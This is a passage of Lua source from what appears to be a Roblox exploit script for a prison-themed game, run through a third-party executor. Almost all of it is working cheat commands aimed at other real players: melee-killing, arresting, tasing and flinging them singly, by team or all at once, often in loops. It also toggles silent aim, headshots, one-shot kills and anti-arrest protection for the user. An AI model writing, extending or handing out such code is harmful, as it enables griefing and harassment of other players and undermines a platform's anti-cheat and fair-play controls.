MeleeKill(v, false, Args[3] == "true")
end
end
LocTP(tempos)
Notif("OK", "Melee-killed all guards.")
elseif arg == "criminal" or arg == "criminals" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if not (v == LocalPlayer) and CheckWhitelist(v) then
MeleeKill(v, false, Args[3] == "true")
end
end
LocTP(tempos)
Notif("OK", "Melee-killed all criminals.")
elseif arg == "neutral" or arg == "neutrals" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Neutral:GetPlayers()) do
if not (v == LocalPlayer) then
MeleeKill(v, false, Args[3] == "true")
end
end
LocTP(tempos)
Notif("OK", "Melee-killed all neutrals.")
elseif arg == "random" then
local randomplr = GetRandomPlr()
MeleeKill(randomplr, true, false)
Notif("OK", "Melee-killed " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("hdkill") or cm("hkill") or cm("hmk") then
Chat(Prefix .. "mkill " .. tostring(Args[2]) .. " true", nil, true)
elseif cm("meleelk") or cm("mlk") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local ar = Args[2]
if DaPlayer then
Loops.MeleeKill[DaPlayer.UserId] = DaPlayer
Notif("OK", "Melee-killing " .. DaPlayer.Name .. ".")
end
if ar == "all" then
Loops.MeleeTeams.All = true
Notif("OK", "Melee-killing all.")
elseif ar == "inmate" or ar == "inmates" then
Loops.MeleeTeams.Inmates = true
Notif("OK", "Melee-killing inmates.")
elseif ar == "guard" or ar == "guards" then
Loops.MeleeTeams.Guards = true
Notif("OK", "Melee-killing guards.")
elseif ar == "criminal" or ar == "criminals" then
Loops.MeleeTeams.Criminals = true
Notif("OK", "Melee-killing criminals.")
elseif ar == "neutral" or ar == "neutrals" then
Loops.MeleeTeams.Neutrals = true
Notif("OK", "Melee-killing neutrals.")
elseif ar == "random" then
local randomplr = GetRandomPlr()
Loops.MeleeKill[randomplr.UserId] = randomplr
Notif("OK", "Melee-killing " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("unmeleelk") or cm("unmlk") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local ar = Args[2]
if DaPlayer then
Loops.MeleeKill[DaPlayer.UserId] = nil
Notif("OK", "Stopped melee-killing " .. DaPlayer.Name .. ".")
end
if ar == "all" then
Loops.MeleeTeams.All = false
Loops.MeleeTeams.Inmates = false
Loops.MeleeTeams.Guards = false
Loops.MeleeTeams.Criminals = false
Loops.MeleeTeams.Neutrals = false
Loops.MeleeKill = {}
Notif("OK", "Stopped melee-killing all.")
elseif ar == "inmate" or ar == "inmates" then
Loops.MeleeTeams.Inmates = false
Notif("OK", "Stopped melee-killing inmates.")
elseif ar == "guard" or ar == "guards" then
Loops.MeleeTeams.Guards = false
Notif("OK", "Stopped melee-killing guards.")
elseif ar == "criminal" or ar == "criminals" then
Loops.MeleeTeams.Criminals = false
Notif("OK", "Stopped melee-killing criminals.")
elseif ar == "neutral" or ar == "neutrals" then
Loops.MeleeTeams.Neutrals = false
Notif("OK", "Stopped melee-killing neutrals.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("arrest") or cm("arr") or cm("ar") then
local DaPlayer, e = PlrFromArgs(Args[2], LocalPlayer), Args[2]
if DaPlayer then
if DaPlayer.TeamColor == BrickColor.new("Really red") or
(DaPlayer.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(DaPlayer))
then
if DaPlayer == LocalPlayer then
ArrestEve(DaPlayer)
else
ArrestPL(DaPlayer, true, Args[3] == "true")
end
Notif("OK", "Arrested " .. DaPlayer.Name .. ".")
else
Notif("Error", "Player is unarrestable.")
end
end
if e == "all" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and CheckWhitelist(v) then
if v.TeamColor == BrickColor.new("Really red") or (v.TeamColor
== BrickColor.new("Bright orange") and GetIllegalReg(v)) then
ArrestPL(v, false, Args[3] == "true")
end
end
end
LocTP(tempos)
Notif("OK", "Arrested all players.")
elseif e == "inmates" or e == "inmate" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v ~= LocalPlayer and CheckWhitelist(v) then
if GetIllegalReg(v) then
ArrestPL(v, false, Args[3] == "true")
end
end
end
LocTP(tempos)
Notif("OK", "Arrested all inmates.")
elseif e == "criminals" or e == "criminal" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v ~= LocalPlayer and CheckWhitelist(v) then
ArrestPL(v, false, Args[3] == "true")
end
end
LocTP(tempos)
Notif("OK", "Arrested all criminals.")
elseif e == "guards" or e == "guard" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and not (v == LocalPlayer or
v.Character:FindFirstChild("Humanoid").Health == 0) and CheckWhitelist(v) then
MakeCrim(v, false, false, true)
end
end
LAction("unsit", true)
LocTP(tempos)
Notif("OK", "Arrested all guards.")
elseif e == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if randomplr.TeamColor == BrickColor.new("Bright blue") or
randomplr.TeamColor == BrickColor.new("Bright orange") then
MakeCrim(randomplr, true, false, true)
else
ArrestPL(randomplr, true, Args[3] == "true")
end
Notif("OK", "Arrested " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
elseif cm("harrest") or cm("har") then
Chat(Prefix .. "arrest " .. tostring(Args[2]) .. " true", nil, true)
elseif cm("spamarrest") or cm("annoy") or cm("sa") then
local DaPlayer = PlrFromArgs(Args[2], false)
if not DaPlayer and Args[2] == "random" then
DaPlayer = GetRandomPlr(LocalPlayer)
end
if DaPlayer then
if not States.AnnoyingPlayer then
States.AnnoyingPlayer = true
SavedPositions.SpamArrestOldPos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
Notif("OK", "Attempting to annoy " .. DaPlayer.Name .. ".")
SpamArrestPL(DaPlayer)
else
Notif("Error", "You are already annoying someone. Please type " ..
Prefix .. "unsa to stop annoying.")
end
else
Notif("Error", "Not a valid player.")
end
elseif cm("unspamarrest") or cm("unannoy") or cm("unsa") then
States.AnnoyingPlayer = false
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
task.wait(1)
LAction("unsit", true)
LocTP(SavedPositions.SpamArrestOldPos)
end
Notif("OK", "Stopped annoying player.")
elseif cm("tase") or cm("taze") or cm("ta") then
local DaPlayer = PlrFromArgs(Args[2], false)
local ar = Args[2]
if DaPlayer then
TasePL(DaPlayer)
end
if ar == "all" then
TasePL(Players, "teams")
Notif("OK", "Tased all player(s)")
elseif ar == "inmate" or ar == "inmates" then
TasePL(Teams.Inmates, "teams")
Notif("OK", "Tased all inmate(s)")
elseif ar == "criminal" or ar == "criminals" then
TasePL(Teams.Criminals, "teams")
Notif("OK", "Tased all criminal(s)")
elseif ar == "guard" or ar == "guards" then
Notif("Error", "You cannot tase guards.")
elseif ar == "neutral" or ar == "neutrals" then
TasePL(Teams.Neutral, "teams")
Notif("OK", "Tased all neutral(s)")
elseif ar == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if randomplr.TeamColor == BrickColor.new("Bright blue") then
deprint("Debug_Player is on guards team, looping until found a
player not in guards team")
repeat
task.wait()
randomplr = GetRandomPlr(LocalPlayer)
until not (randomplr.TeamColor == BrickColor.new("Bright blue"))
end
TasePL(randomplr)
Notif("OK", "Tased " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
elseif cm("fling") or cm("flung") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
FlingPL(DaPlayer)
Notif("OK", "Flung " .. DaPlayer.Name .. ".")
end
if Args[2] == "random" then
DaPlayer = nil
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until not (DaPlayer.TeamColor == BrickColor.new("Medium stone grey"))
FlingPL(DaPlayer)
Notif("OK", "Flung " .. DaPlayer.Name .. ".")
elseif Args[2] == "all" then
local tempo =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Players:GetPlayers()) do
if not (v == nil or v == LocalPlayer) and not (v.TeamColor ==
BrickColor.new("Medium stone grey")) and CheckWhitelist(v) then
pcall(function()
FlingPL(v)
for i, v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("BasePart") then
v.Velocity = Vector3.new(0, 0, 0)
v.RotVelocity = Vector3.new(0, 0, 0)
end
end
end)
end
end
LocTP(tempo)
Notif("OK", "Flung all player(s)")
elseif Args[2] == "me" and not DaPlayer then
LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(6e9, 6e9,
6e9)
Notif("OK", "Flinged yourself")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("carfling") or cm("sfling") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
CarFlingPL(DaPlayer)
Notif("OK", "Flung " .. DaPlayer.Name .. " using car.")
end
if Args[2] == "random" then
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until DaPlayer.TeamColor ~= BrickColor.new("Medium stone grey")
CarFlingPL(DaPlayer)
Notif("OK", "Flung " .. DaPlayer.Name .. " with car.")
elseif Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v.Character and CheckWhitelist(v) and not (v.TeamColor ==
BrickColor.new("Medium stone grey") or v == LocalPlayer) then
CarFlingPL(DaPlayer)
end
end
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("loopcarfling") or cm("lsfling") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.CarFling[DaPlayer.UserId] = DaPlayer
Notif("OK", "Car-flinging " .. DaPlayer.Name .. ".")
end
if Args[2] == "random" then
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until not (DaPlayer.TeamColor == BrickColor.new("Medium stone grey"))
Loops.CarFling[DaPlayer.UserId] = DaPlayer
Notif("OK", "Car-flinging " .. DaPlayer.Name .. ".")
elseif Args[2] == "all" then
Notif("Error", "ALL is deprecated, cannot carfling all simultaneously")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
elseif cm("unloopcarfling") or cm("unlsfling") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.CarFling[DaPlayer.UserId] = nil
Notif("OK", "Stopped car-flinging " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.CarFling = {}
Notif("OK", "Stopped car-flinging all.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("loopfling") or cm("lfling") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.Fling[DaPlayer.UserId] = DaPlayer
Notif("OK", "Now loop-flinging " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if CheckWhitelist(v) and v ~= LocalPlayer then
Loops.Fling[v.UserId] = v
end
end
Notif("OK", "Loop-flinging everyone")
elseif Args[2] == "random" then
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until not (DaPlayer.TeamColor == BrickColor.new("Medium stone grey"))
Loops.Fling[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-flinging " .. DaPlayer.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("unloopfling") or cm("unlfling") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.Fling[DaPlayer.UserId] = nil
Notif("OK", "Stopped loop-flinging " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.Fling = {}
Notif("OK", "Stopped loop-flinging all.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("looptase") or cm("lta") then
local DaPlayer = PlrFromArgs(Args[2], false)
local a = Args[2]
if DaPlayer then
Loops.Tase[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-tasing " .. DaPlayer.Name .. ".")
end
if a == "all" then
Loops.TaseTeams.All = true
Notif("OK", "Loop-tasing all player(s)")
elseif a == "inmate" or a == "inmates" then
Loops.TaseTeams.Inmates = true
Notif("OK", "Loop-tasing all inmate(s)")
elseif a == "criminal" or a == "criminals" then
Loops.TaseTeams.Criminals = true
Notif("OK", "Loop-tasing all criminal(s)")
elseif a == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if randomplr.TeamColor == BrickColor.new("Bright blue") then
repeat
task.wait()
randomplr = GetRandomPlr(LocalPlayer)
until not (randomplr.TeamColor == BrickColor.new("Bright blue"))
end
TasePL(randomplr)
Notif("OK", "Tased " .. randomplr.Name .. ".")
elseif a == "guard" or a == "guards" then
Notif("Error", "YOU CANNOT TASE GUARDS")
print("Idiot")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
if not Saved.Thread.LoopTasePlayers then
Threads.LoopTasePlayers()
end
elseif cm("taseaura") or cm("taura") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
if not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
TeamTo("guard")
end
Powers.Taseauras[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave " .. DaPlayer.Name .. " tase-aura.")
end
if Args[2] == "random" then
DaPlayer = GetRandomPlr()
if not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
TeamTo("guard")
end
Powers.Taseauras[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave " .. DaPlayer.Name .. " tase-aura.")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
if not Saved.Thread.LoopTasePlayers then
Threads.LoopTasePlayers()
end
elseif cm("untaseaura") or cm("untaura") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Powers.Taseauras[DaPlayer.UserId] = nil
Notif("OK", "Removed tase-aura from " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Powers.Taseauras = nil
Powers.Taseauras = {}
Notif("OK", "Removed tase-aura from player(s)")
end
elseif cm("unlooptase") or cm("unlta") then
local DaPlayer = PlrFromArgs(Args[2], false)
local a = Args[2]
if DaPlayer then
Loops.Tase[DaPlayer.UserId] = nil
Notif("OK", "Stopped loop-tasing " .. DaPlayer.Name .. ".")
end
if a == "all" then
Loops.Tase = {}
Loops.TaseTeams.All = false
Loops.TaseTeams.Inmates = false
Loops.TaseTeams.Criminals = false
Notif("OK", "Stopped loop-tasing all player(s)")
elseif a == "inmate" or a == "inmates" then
Loops.TaseTeams.Inmates = false
Notif("OK", "Stopped loop-tasing all inmate(s)")
elseif a == "criminal" or a == "criminals" then
Loops.TaseTeams.Criminals = false
Notif("OK", "Stopped loop-tasing all criminal(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
elseif cm("looparrest") or cm("lar") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local augh = Args[2]
if DaPlayer then
Loops.Arrest[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-arresting " .. DaPlayer.Name .. ".")
end
if augh == "all" then
Loops.ArrestTeams.Criminal = true
Loops.ArrestTeams.Inmate = true
Loops.ArrestTeams.Guard = true
Notif("OK", "Loop-arresting all player(s)")
elseif augh == "inmate" or augh == "inmates" then
Loops.ArrestTeams.Inmate = true
Notif("OK", "Loop-arresting all inmate(s)")
elseif augh == "guard" or augh == "guards" then
Loops.ArrestTeams.Guard = true
Notif("OK", "Loop-arresting all guard(s)")
elseif augh == "criminal" or augh == "criminals" then
Loops.ArrestTeams.Criminal = true
Notif("OK", "Loop-arresting all criminal(s)")
elseif augh == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if randomplr.TeamColor == BrickColor.new("Medium stone grey") then
repeat
task.wait()
randomplr = GetRandomPlr(LocalPlayer)
until not (randomplr.TeamColor == BrickColor.new("Medium stone
grey"))
end
Loops.Arrest[randomplr.UserId] = randomplr
Notif("OK", "Loop-arresting " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
elseif cm("unlooparrest") or cm("unlar") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local a = Args[2]
if DaPlayer then
Loops.Arrest[DaPlayer.UserId] = nil
Notif("OK", "Stopped loop-arresting " .. DaPlayer.Name .. ".")
end
if a == "all" then
Loops.ArrestTeams.Inmate = false
Loops.ArrestTeams.Guard = false
Loops.ArrestTeams.Criminal = false
Loops.Arrest = {}
Notif("OK", "Stopped loop-arresting all player(s)")
elseif a == "inmate" or a == "inmates" then
Loops.ArrestTeams.Inmate = false
Notif("OK", "Stopped loop-arresting all inmate(s)")
elseif a == "guard" or a == "guards" then
Loops.ArrestTeams.Guard = false
Notif("OK", "Stopped loop-arresting all guard(s)")
elseif a == "criminal" or a == "criminals" then
Loops.ArrestTeams.Criminal = false
Notif("OK", "Stopped loop-arresting all criminal(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
elseif cm("autoarrest") or cm("autoar") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local ea = Args[2]
if DaPlayer then
Loops.AutoArresting.Plr[DaPlayer.UserId] = DaPlayer
Notif("OK", "Automatically arresting " .. DaPlayer.Name .. ".")
end
if ea == "all" then
Loops.AutoArresting.All = true
Notif("OK", "Automatically arresting all player(s)")
elseif ea == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if randomplr.TeamColor == BrickColor.new("Bright blue") or
randomplr.TeamColor == BrickColor.new("Medium stone grey") then
repeat
task.wait()
randomplr = GetRandomPlr(LocalPlayer)
until not (randomplr.TeamColor == BrickColor.new("Bright blue") or
randomplr.TeamColor == BrickColor.new("Medium stone grey"))
end
Loops.AutoArresting.Plr[randomplr.UserId] = randomplr
Notif("OK", "Automatically arresting " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("unautoarrest") or cm("unaar") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.AutoArresting.Plr[DaPlayer.UserId] = nil
Notif("OK", "Stopped automatically arresting " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.AutoArresting.Plr = {}
Loops.AutoArresting.All = false
Notif("OK", "Stopped automatically arresting all player(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("arrestaura") or cm("aaura") then
Toggles.ArrestAura = not Toggles.ArrestAura
if Args[2] == "on" or Args[2] == "true" then
Toggles.ArrestAura = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.ArrestAura = false
end
Notif("OK", "Toggled arrest-aura to " .. tostring(Toggles.ArrestAura) ..
".")
if Toggles.ArrestAura then
Threads.ArrestAura()
end
elseif cm("makecrim") or cm("crim") or cm("escape") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local ag = Args[2]
if DaPlayer then
MakeCrim(DaPlayer, true, true, false)
Notif("OK", "Made criminal " .. DaPlayer.Name .. ".")
end
if ag == "all" then
SavedPositions.MakeCrim =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and not
(v.TeamColor == BrickColor.new("Medium stone grey")) and not
(v.Character:FindFirstChild("Humanoid").Health == 0) then
MakeCrim(v, false, false, false)
end
end
LAction("unsit", true)
LocTP(SavedPositions.MakeCrim)
Notif("OK", "Made criminal all player(s)")
elseif ag == "inmate" or ag == "inmates" then
SavedPositions.MakeCrim =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and not
(v.Character:FindFirstChild("Humanoid").Health == 0) then
MakeCrim(v, false, false, false)
end
end
LAction("unsit", true)
LocTP(SavedPositions.MakeCrim)
Notif("OK", "Made criminal all inmate(s)")
elseif ag == "guard" or ag == "guards" then
SavedPositions.MakeCrim =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and not
(v.Character:FindFirstChild("Humanoid").Health == 0) then
MakeCrim(v, false, false, false)
end
end
LAction("unsit", true)
LocTP(SavedPositions.MakeCrim)
Notif("OK", "Made criminal all guard(s)")
elseif ag == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if randomplr.TeamColor == BrickColor.new("Really red") or
randomplr.TeamColor == BrickColor.new("Medium stone grey") then
repeat
task.wait()
randomplr = GetRandomPlr(LocalPlayer)
deprint("Debug_Player is already criminal, looping until found
plr")
until not (randomplr.TeamColor == BrickColor.new("Really red") or
randomplr.TeamColor == BrickColor.new("Medium stone grey"))
end
MakeCrim(randomplr, true, true, false)
Notif("OK", "Made criminal " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s) or team(s)")
end
elseif cm("crimpad") or cm("cpad") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
MakeCrim(DaPlayer, true, false, false)
Notif("OK", "Teleported " .. DaPlayer.Name .. " to crimpad.")
end
if Args[2] == "random" then
local randomplr = GetRandomPlr()
MakeCrim(randomplr, true, false, false)
Notif("OK", "Teleported " .. randomplr.Name .. " to crimpad.")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
elseif cm("loopcrim") or cm("lcrim") or cm("autocrim") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.MakeCrim[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-making criminal " .. DaPlayer.Name .. ".")
end
if Args[2] == "random" then
DaPlayer = GetRandomPlr()
Loops.MakeCrim[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-making criminal " .. DaPlayer.Name .. ".")
elseif Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) then
Loops.MakeCrim[v.UserId] = v
end
end
Notif("OK", "Now loop-making everyone criminal.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("unloopcrim") or cm("unlcrim") or cm("unautocrim") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.MakeCrim[DaPlayer.UserId] = nil
Notif("OK", "Stopped making criminal " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.MakeCrim = nil
Loops.MakeCrim = {}
Notif("OK", "Stopped making everyone criminal.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("friendlyfire") or cm("ffire") then
Toggles.FriendlyFire = not Toggles.FriendlyFire
if Args[2] == "on" or Args[2] == "true" then
Toggles.FriendlyFire = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.FriendlyFire = false
end
Notif("OK", "Toggled friendly-fire to " ..
tostring(Toggles.FriendlyFire) .. ".")
elseif cm("headshot") or cm("hshot") then
if SavedArgs.namecallSuccess then
Toggles.Headshot = not Toggles.Headshot
if Args[2] == "on" or Args[2] == "true" then
Toggles.Headshot = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.Headshot = false
end
Toggles.Silentaim = false
Notif("OK", "Toggled headshot to " .. tostring(Toggles.Headshot) ..
".")
else
Notif("Error!", "Your executor is too garbage to use namecalls.")
end
elseif cm("silentaim") or cm("saim") then
if SavedArgs.namecallSuccess then
Toggles.Silentaim = not Toggles.Silentaim
if Args[2] == "on" or Args[2] == "true" then
Toggles.Silentaim = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.Silentaim = false
end
Toggles.Headshot = false
Notif("OK", "Toggled silentaim to " .. tostring(Toggles.Silentaim) ..
".")
else
Notif("Error!", "Your executor is too garbage to use namecalls.")
end
elseif cm("punchaura") or cm("paura") then
Toggles.PunchAura = not Toggles.PunchAura
if Args[2] == "on" or Args[2] == "true" then
Toggles.PunchAura = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.PunchAura = false
end
Notif("OK", "Toggled punch-aura to " .. tostring(Toggles.PunchAura) .. ".")
elseif cm("spampunch") or cm("spunch") then
Toggles.SpamPunch = not Toggles.SpamPunch
if Args[2] == "on" or Args[2] == "true" then
Toggles.SpamPunch = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.SpamPunch = false
end
Notif("OK", "Toggled spam-punch to " .. tostring(Toggles.SpamPunch) .. ".")
elseif cm("onepunch") or cm("opunch") then
Toggles.Onepunch = not Toggles.Onepunch
if Args[2] == "on" or Args[2] == "true" then
Toggles.Onepunch = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.Onepunch = false
end
Notif("OK", "Toggled one-punch to " .. tostring(Toggles.Onepunch) .. ".")
elseif cm("oneshot") or cm("oshot") then
Toggles.Oneshot = not Toggles.Oneshot
if Args[2] == "on" or Args[2] == "true" then
Toggles.Oneshot = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.Oneshot = false
end
Notif("OK", "Toggled one-shot to " .. tostring(Toggles.Oneshot) .. ".")
elseif cm("antifling") or cm("afling") then
States.AntiFling = not States.AntiFling
if Args[2] == "on" or Args[2] == "true" then
States.AntiFling = true
elseif Args[2] == "off" or Args[2] == "false" then
States.AntiFling = false
end
Notif("OK", "Changed anti-fling to " .. tostring(States.AntiFling) .. ".")
if States.AntiFling then
Threads.AntiFling()
end
elseif cm("touchfling") or cm("tfling") then
if not States.TouchFling then
States.TouchFling = true
Notif("OK", "Now touch-flinging player(s).")
task.spawn(function()
local tempo = 0.1
while States.TouchFling do
local Lroot =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
Hbeat:Wait()
if Lroot then
local oldvelocity = Lroot.Velocity
Lroot.Velocity = ((oldvelocity * 10000) + Vector3.new(0,
10000, 0))
Rstep:Wait()
Lroot.Velocity = oldvelocity
Rstep:Wait()
Lroot.Velocity = oldvelocity + Vector3.new(0, tempo, 0)
tempo *= -1
end
end
tempo = nil
end)
else
Notif("Error", "Touch-fling already enabled, type " .. Prefix ..
"untfling to disable.")
end
elseif cm("untouchfling") or cm("untfling") then
States.TouchFling = false
Notif("OK", "Stopped touch-flinging people.")
elseif cm("antivelocity") or cm("avelo") then
States.AntiVelocity = not States.AntiVelocity
if Args[2] == "on" or Args[2] == "true" then
States.AntiVelocity = true
elseif Args[2] == "off" or Args[2] == "false" then
States.AntiVelocity = false
end
Notif("OK", "Changed anti-velocity to " .. tostring(States.AntiVelocity) ..
".")
if States.AntiVelocity then
Threads.AntiVelocity()
end
elseif cm("fullbright") or cm("fb") then
States.Fullbright = not States.Fullbright
if Args[2] == "on" or Args[2] == "true" then
States.Fullbright = true
elseif Args[2] == "off" or Args[2] == "false" then
States.Fullbright = false
end
if States.Fullbright then
Notif("OK", "Toggled fullbright to true.")
Threads.Fullbright()
else
Notif("OK", "Toggled fullbright to false.")
end
elseif cm("unfullbright") or cm("unfb") then
States.Fullbright = false
Notif("OK", "Turned off fullbright.")
elseif cm("noboard") or cm("nbr") then
States.RemoveLeaderboard = not States.RemoveLeaderboard
if Args[2] == "on" or Args[2] == "true" then
States.RemoveLeaderboard = true
elseif Args[2] == "off" or Args[2] == "false" then
States.RemoveLeaderboard = false
end
Notif("OK", "Toggled No-leaderboard to " ..
tostring(States.RemoveLeaderboard) .. ".")
wait(0.1)
game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, not
States.RemoveLeaderboard)
elseif cm("mobilegui") or cm("mgui") then
local mbg = Saved.PLINIT:FindFirstChild("ActionFrame")
mbg.Visible = not mbg.Visible
if Args[2] == "on" or Args[2] == "true" then
mbg.Visible = true
elseif Args[2] == "off" or Args[2] == "false" then
mbg.Visible = false
end
Notif("OK", "Toggled mobile GUI to " .. tostring(mbg.Visible) .. ".")
elseif cm("antivoid") or cm("avoid") then
States.AntiVoid = not States.AntiVoid
if Args[2] == "on" or Args[2] == "true" then
States.AntiVoid = true
elseif Args[2] == "off" or Args[2] == "false" then
States.AntiVoid = false
end
Notif("OK", "Changed anti-void to " .. tostring(States.AntiVoid) .. ".")
elseif cm("antitase") or cm("atase") then
Toggles.AntiTase = not Toggles.AntiTase
if Args[2] == "on" or Args[2] == "true" then
Toggles.AntiTase = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AntiTase = false
end
Notif("OK", "Toggled anti-tase to " .. tostring(Toggles.AntiTase) .. ".")
elseif cm("antiarrest") or cm("aar") then
Toggles.AntiArrest = not Toggles.AntiArrest
if Args[2] == "on" or Args[2] == "true" then
Toggles.AntiArrest = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AntiArrest = false
end
Notif("OK", "Toggled anti-arrest to " .. tostring(Toggles.AntiArrest) ..
".")
elseif cm("antishoot") or cm("as") or cm("shootback") then
Toggles.Antishoot = not Toggles.Antishoot
if Args[2] == "on" or Args[2] == "true" then
Toggles.Antishoot = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.Antishoot = false
end
Notif("OK", "Toggled anti-shoot to " .. tostring(Toggles.Antishoot) .. ".")
elseif cm("antipunch") or cm("apunch") or cm("ap") then
Toggles.AntiPunch = not Toggles.AntiPunch
if Args[2] == "on" or Args[2] == "true" then
Toggles.AntiPunch = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AntiPunch = false
end
